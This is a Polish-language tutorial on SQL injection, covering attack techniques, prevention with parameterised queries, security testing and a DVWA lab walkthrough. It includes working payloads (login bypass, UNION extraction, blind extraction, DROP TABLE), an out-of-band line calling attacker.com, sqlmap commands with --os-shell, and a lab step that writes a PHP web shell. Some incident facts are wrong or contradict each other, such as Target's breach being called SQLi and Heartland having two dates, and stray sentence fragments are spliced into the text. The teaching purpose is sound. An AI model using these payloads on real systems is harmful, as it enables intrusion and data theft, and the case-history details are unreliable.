
SQL Injection – jak działa i jak go uniknąć?
Wprowadzenie
SQL Injection to jedna z najpoważniejszych podatności aplikacji bazujących na bazach danych. Poznaj zasady działania ataku SQL Injection, jego konsekwencje oraz dowiedz się, jak skutecznie chronić swoje projekty stosując parametryzowane zapytania i wielowarstwowe mechanizmy bezpieczeństwa.
Spis treści
- Czym jest SQL i skąd biorą się błędy?
- Czym jest SQL Injection i dlaczego jest groźny?
- Typowe techniki SQL Injection
- Zaawansowane odmiany ataku
- Środowiska narażone na ataki SQLi
- Jak rozpoznać podatność – przykłady praktyczne
- Strategie zapobiegania atakom SQL Injection
- Testowanie bezpieczeństwa – narzędzia i metody
- Przypadki z życia – najgłośniejsze incydenty
- Laboratorium: krok po kroku
- Dobre praktyki operacyjne i monitorowanie
- Źródła i materiały do dalszej nauki
- Mini‑quiz dla utrwalenia wiedzy
1. Czym jest SQL i skąd biorą się błędy?
Krótkie wprowadzenie do języka zapytań
Structured Query Language (SQL) powstał w latach 70. XX w. jako sposób komunikacji z relacyjnymi bazami danych. Pozwala wykonywać cztery główne typy operacji (CRUD):
- Create (INSERT)
- Read (SELECT)
- Update (UPDATE)
- Delete (DELETE)
Miejsce SQL w architekturze aplikacji
Najczęściej zapytania generowane są przez warstwę aplikacyjną (PHP, Python, Java, …). To właśnie tu – na styku danych wejściowych i dynamicznie tworzonego ciągu SQL – powstaje luka, jeśli programista łączy teksty „na sztywno” zamiast używać parametrów.
2. Czym jest SQL Injection i dlaczego jest groźny?
Mechanizm ataku
SQL Injection (SQLi) polega na wstrzyknięciu złośliwych danych do zapytania SQL w taki sposób, aby baza wykonała kod nieprzewidziany przez programistę. Typowy wektor to pole formularza, nagłówek HTTP, parametr URL lub nawet plik cookie.
- Wejście – Użytkownik (lub atakujący) przesyła wartość
username=admin' OR 1=1--. - Konkatenacja – Aplikacja łączy ciągi:
SELECT * FROM users WHERE username='input' AND password='pwd' - Wykonanie – Warunek
OR 1=1zawsze zwraca prawdę, więc kontrola dostępu zostaje ominięta.
Ważne!
Atakujący często łączy SQLi z enumeracją tabel systemowych (information_schema) lub funkcjami skalarowymi (np.version(),@@hostname) – dzięki temu odzyskuje strukturę bazy bez wywołania tradycyjnegoSELECT *.
Skutki udanego ataku
- Konfidentiality – wyciek haseł, numerów kart, danych osobowych (naruszenie RODO).
- Integrity – masowa modyfikacja lub usunięcie rekordów (
DELETE,DROP). - Availability – blokada bazy przez długotrwałe
SLEEP(100)w pętli. - Privilege escalation – przejęcie konta DBA i wykonanie poleceń systemowych (
xp_cmdshell,COPY ... PROGRAM).
Case study (PCI‑DSS):
W 2013 r. atak SQLi na sieć sklepów Target doprowadził do kradzieży ~40 mln numerów kart płatniczych i kosztował firmę ponad 200 mln USD.
Historia i ewolucja zagrożenia
- 1998 – pierwsze opisy SQLi na liście Bugtraq (Rain Forest Puppy).
- 2003 – wyciek danych Heartland Payment Systems (130 mln kart).
- 2010 – wprowadzenie
boolean‑based blinddo głównego nurtu exploitów. - 2019–2024 – rosnąca popularność SQLi w mikroserwisach GraphQL oraz API REST.
- 2023 – raport Verizon DBIR: ~25 % naruszeń aplikacji webowych ma korzenie w SQLi.na minimalizowanie ryzyka związanego z cyfrowymi zagrożeniami.
3. Typowe techniki SQL Injection
In‑band SQL Injection
Atak i wyciek danych odbywają się w tym samym kanale HTTP.
- Error‑based – wykorzystuje komunikaty błędów:
1' AND updatexml(1,concat(0x7e,(SELECT version())),0)--+ - Union‑based – łączy wyniki przez
UNION SELECT:1 UNION SELECT NULL,email,password FROM users--
Blind SQL Injection
Baza nie ujawnia błędów ani danych; atakujący dedukuje je po zachowaniu aplikacji.
- Boolean‑based – porównuje odpowiedzi
true/false. - Time‑based – sprawdza opóźnienie (
SLEEP(5)).
Out‑of‑band SQL Injection
Wykorzystuje kanał boczny – np. DNS lub SMB – do przesłania danych na serwer atakującego.
Przykład: LOAD_FILE('\\attacker.com\share') w MySQL.
4. Zaawansowane odmiany ataku
Stacked Queries (mssql, pg)
Pozwalają wykonać kilka zapytań w jednym pakiecie:1; DROP TABLE logs;--
Second‑order SQL Injection
Złośliwe dane zapisywane są w bazie i wyzwalają atak w innej części aplikacji (np. panel admina), często z wyższymi uprawnieniami.
Polyglot Payloads
Łączą SQLi z XSS lub Command Injection, np.
`1′; shutdown —
NoSQL Injection
Choć MongoDB używa JSON, konkatenacja zapytań {$where: 'this.password=="' + input + '"'} prowadzi do podobnych skutków – warto wspomnieć, bo wielu deweloperów mylnie sądzi, że „NoSQL == brak SQLi”.
5. Środowiska narażone na ataki SQLi
Klasyczne aplikacje webowe
Formularze logowania, wyszukiwarki, panele admina. Krytycznym błędem może być sortowanie/filtry – podanie ORDER BY 100 zdradza liczbę kolumn.
API i mikrousługi
- GraphQL: zapytania są serializowane do jednego endpointu; brak walidacji zmiennych
\u0027 OR 1=1. - REST: parametry w JSON/Query – fuzzing narzędziem Burp Intruder szuka luk.
IoT oraz aplikacje mobilne
SQLite w Androidzie (rawQuery()), firmware routerów (BusyBox z wbudowanym SQLite), inteligentne licznikom energii – często brak warstwy WAF.
6. Jak rozpoznać podatność – przykłady praktyczne
Login bypass
SELECT * FROM users WHERE username='$u' AND password='$p'
→ payload: ' OR '1'='1
Pokazowe laboratorium DVWA (low security).
Wyciekanie danych z UNION SELECT
- Ustal liczbę kolumn:
ORDER BY 1--,ORDER BY 2--… UNION SELECT 1,2,3,@@version--UNION SELECT NULL, email, password FROM users--
Blind extraction znak‑po‑znaku
Pętla binarna:AND ASCII(SUBSTR((SELECT database()),1,1))>77
Po 8 zapytaniach znamy pierwszy znak.
7. Strategie zapobiegania atakom SQL Injection
Parametryzowane zapytania i prepared statements
| Język | Przykład bezpiecznego kodu |
|---|---|
| Python / sqlite3 | cursor.execute('SELECT * FROM users WHERE id=?', (uid,)) |
| PHP / PDO | $stmt = $db->prepare('SELECT * FROM users WHERE email = :email'); $stmt->execute(['email' => $mail]); |
| Java / JDBC | PreparedStatement ps = con.prepareStatement("UPDATE products SET price=? WHERE id=?"); |
| C# / ADO.NET | cmd.CommandText = "INSERT INTO users (name) VALUES (@name)"; cmd.Parameters.AddWithValue("@name", n); |
| Node / pg | await client.query('SELECT * FROM users WHERE id=$1', [id]); |
| Go / database/sql | db.Query("SELECT * FROM users WHERE id = ?", id) |
| Rust / sqlx | sqlx::query!("SELECT * FROM users WHERE id = ?", id).fetch_all(&pool).await?; |
ORM i Query Builders – pułapki
raw(),executeNative(),@Query(Spring Data) – omijają parametryzację.- Automatyczne logi SQL – redaguj, by nie ujawniać wartości parametrów.
Walidacja i sanitizacja danych wejściowych
- Whitelisty – dozwolone znaki/formaty (RegEx).
- Limit length –
VARCHAR(255)nie przyjmie 10 kB payloadu. - Contextual Encoding – inne dla HTML, JSON, URL.
Zasada najmniejszych uprawnień
- Konto aplikacyjne:
SELECT,INSERT, ewentualnieUPDATE– bezDROP TABLE. - Widoki (Views) udostępniają tylko potrzebne kolumny.
Stored Procedures – nie panaceum
sp_executesql() z konkatenacją dynamicznego SQL jest tak samo podatne. W MS SQL użyj zmiennych tabelarycznych i parametrów.
Bezpieczne przechowywanie konfiguracji
Secret Manager (Vault, AWS Secrets, Doppler). Nigdy nie commituj haseł w config.php.
8. Testowanie bezpieczeństwa – narzędzia i metody
SAST / DAST / IAST
- SAST – SonarQube, Semgrep (analiza kodu).
- DAST – OWASP ZAP, Burp Suite (fuzzing runtime).
- IAST – Contrast Security (runtime agent + code).
sqlmap – automat z konsoli
sqlmap -u „https://site.com/item.php?id=1” –risk=3 –level=5 –banner
Parametry --dump-all lub --os-shell przenoszą atak na kolejny etap (RCE).
CI/CD
GitHub Actions:
– name: Semgrep Scan
uses: returntocorp/semgrep-action@v1
Pipeline powinien blokować merge, jeśli reguła sql-concat wykryje ciąg + "'" +.
9. Przypadki z życia – najgłośniejsze incydenty
| Rok | Firma | Straty | Wektor |
| 2008 | Heartland Payment Systems | 130 mln kart | SQLi → RCE |
| 2013 | Adobe | 153 mln kont | SQLi → dump DB |
| 2015 | TalkTalk | £77 mln | SQLi (kids) |
| 2020 | Estream SN | 15 mln rekordów | SQLi – API |
10. Laboratorium: krok po kroku
- Środowisko – DVWA (Docker):
docker run -d -p 8080:80 vulnerables/web-dvwa - Recon – Burp Repeater, testuj
'";--w poluid. - Enumeration –
ORDER BY,UNION SELECT NULL,…. - Extraction – sqlmap dump DB.
- Bash reverse shell –
echo '<?php system($_GET[0]); ?>' > /var/www/html/sh.php… - Zabezpieczenie – włącz
mysqli_prepare()i ponów test – atak powinien się nie powieść.
11. Dobre praktyki operacyjne i monitorowanie
WAF (Web Application Firewall)
- ModSecurity + reguły OWASP CRS.
- Cloudflare Managed Rules (SQL Injection Score ≥ 30 –> Block).
SIEM i alerting
- Logi query (
slow_query.log,general.log). - Korelacja wzorców – 10×
SLEEP()w 5 min → alarm. - Prometheus + Alertmanager: metryka
mysql_commands_total{command="Sleep"}.
Backup i DRP
W razie DROP TABLE przywróć migawkę (mysqldump, LVM snapshot). Testuj procedury Disaster Recovery co kwartał.
Edukacja zespołu
CTF, Secure Coding, certyfikaty eJPT, OSWE – praktyka > teoria., inteligentne licznikom energii – często brak warstwy WAF.
12. Źródła i materiały do dalszej nauki
Rekomendowane publikacje
- Justin Clarke‑Salt – SQL Injection Attacks and Defense
- Dafydd Stuttard, Marcus Pinto – The Web Application Hacker’s Handbook
- PortSwigger Web Security Academy – SQLi labs (online)
- OWASP Testing Guide v.5 – rozdział 4.3
Platformy treningowe
- DVWA
- OWASP Juice Shop
- TryHackMe – pokoje „SQL Injection” & „Union Attacks”
- HackTheBox – maszyny: Jeeves, Temporal, Shoppy
Narzędzia open‑source
sqlmap, NO‑SQLi, sqliv, sqlninja, jSQL, Snyk Code, Semgrep – wszystkie dostępne na GitHub.


Dodaj komentarz